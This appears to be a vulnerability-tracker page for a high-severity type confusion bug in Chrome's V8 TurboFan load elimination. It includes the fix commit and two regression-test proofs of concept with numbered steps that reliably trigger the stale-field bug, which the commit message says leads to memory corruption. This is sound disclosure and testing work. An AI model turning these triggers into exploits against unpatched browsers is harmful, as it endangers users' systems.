High chrome Type Confusion 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType confusion in V8
DescriptionType confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker546670199
Fix commitbe842e713c8b (v8/v8) +158/-2
CISA KEVNot listed
CreditedZhenpeng (Leo) Lin
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
if
test/mjsunit/regress/regress-546670199-inobject.js
modified
for
test/mjsunit/regress/regress-546670199-inobject.js
modified
if
test/mjsunit/regress/regress-546670199.js
modified

Files Changed

  • src/compiler/load-elimination.cc
  • test/mjsunit/regress/regress-546670199-inobject.js
  • test/mjsunit/regress/regress-546670199.js
From be842e713c8b12019099b2eec994f0d887ecfa2c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <[email protected]>
Date: Thu, 20 Aug 2026 11:53:16 +0200
Subject: [PATCH] [compiler] Invalidate tracked fields on CheckMaps with instance migration

When TurboFan compiles property accesses, CheckMaps nodes with
CheckMapsFlag::kTryMigrateInstance (or kTryMigrateInstanceAndDeopt)
can trigger runtime instance migration (JSObject::MigrateToMap).

Instance migration mutates the receiver object in place, allocating
a new PropertyArray, restructuring in-object fields, and changing
field representations (e.g. Smi to Double via mutable HeapNumbers).

Previously, LoadElimination::ReduceCheckMaps and ComputeLoopState
failed to invalidate tracked fields on the receiver object. This
allowed stale PropertyArray loads or in-object field loads to be
reused across migration points, leading to type confusion and
arbitrary memory corruption.

This CL fixes the issue by invalidating all tracked fields and const
fields on the receiver object when migration flags are present on
CheckMaps and the receiver's map is not already known to be in the
target map set.

TAG=agy
CONV=116cff73-fbd6-4c33-bb74-491dcdc536ff

Fixed: 546670199
Change-Id: Ia520e8fb3da8a224309acd640b3a4bec7fe375cb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8251985
Commit-Queue: Leszek Swirski <[email protected]>
Auto-Submit: Leszek Swirski <[email protected]>
Reviewed-by: Patrick Thier <[email protected]>
Cr-Commit-Position: refs/heads/main@{#109390}
---

diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index 7659f99..ca52f44 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -784,7 +784,8 @@
 }
 
 Reduction LoadElimination::ReduceCheckMaps(Node* node) {
-  ZoneRefSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
+  CheckMapsParameters const& p = CheckMapsParametersOf(node->op());
+  ZoneRefSet<Map> const& maps = p.maps();
   Node* const object = NodeProperties::GetValueInput(node, 0);
   Node* const effect = NodeProperties::GetEffectInput(node);
   AbstractState const* state = node_states_.Get(effect);
@@ -794,6 +795,12 @@
     if (maps.contains(object_maps)) return Replace(effect);
     // TODO(turbofan): Compute the intersection.
   }
+  if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+                   CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+    state = state->KillFields(object, MaybeHandle<Name>(), zone());
+    state = state->KillConstField(
+        object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+  }
   state = state->SetMaps(object, maps, zone());
   return UpdateState(node, state);
 }
@@ -1452,7 +1459,17 @@
             state = state->KillElement(object, index, zone());
             break;
           }
-          case IrOpcode::kCheckMaps:
+          case IrOpcode::kCheckMaps: {
+            CheckMapsParameters const& p = CheckMapsParametersOf(current->op());
+            if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+                             CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+              Node* const object = NodeProperties::GetValueInput(current, 0);
+              state = state->KillFields(object, MaybeHandle<Name>(), zone());
+              state = state->KillConstField(
+                  object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+            }
+            break;
+          }
           case IrOpcode::kStoreTypedElement: {
             // Doesn't affect anything we track with the state currently.
             break;
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+  o.x = x;
+  o.y = y;
+  return o;
+}
+
+function victim(o, storeY, value) {
+  const y_box = o.y;
+  if (storeY) {
+    o.y = value;
+  }
+  return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the in-object field 'y' from Smi to Double, allocating a
+//    HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+  object.p0 = 0;
+  object.p1 = 1;
+  object.p2 = 2;
+  object.p3 = 3;
+  object.p4 = 4;
+  object.p5 = 5;
+  object.p6 = 6;
+  object.p7 = 7;
+  object.p8 = 8;
+  object.p9 = 9;
+  object.x = x;
+  object.y = y;
+  return object;
+}
+
+function victim(o, storeY, value) {
+  const x = o.x;
+  if (storeY) {
+    o.y = value;
+  }
+  return x;
+}
+
+const staleSmi = 0x3fffffff;
+
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+  o.x = x;
+  o.y = y;
+  return o;
+}
+
+function victim(o, storeY, value) {
+  const y_box = o.y;
+  if (storeY) {
+    o.y = value;
+  }
+  return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the in-object field 'y' from Smi to Double, allocating a
+//    HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+  object.p0 = 0;
+  object.p1 = 1;
+  object.p2 = 2;
+  object.p3 = 3;
+  object.p4 = 4;
+  object.p5 = 5;
+  object.p6 = 6;
+  object.p7 = 7;
+  object.p8 = 8;
+  object.p9 = 9;
+  object.x = x;
+  object.y = y;
+  return object;
+}
+
+function victim(o, storeY, value) {
+  const x = o.x;
+  if (storeY) {
+    o.y = value;
+  }
+  return x;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.x as homomorphic across all maps.
+for (const s of shapes) {
+  victim(s, false, 0);
+}
+
+// 2. Train o.y on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+//    is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+//    migrate the instance to the double-field map and allocate a new
+//    PropertyArray.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.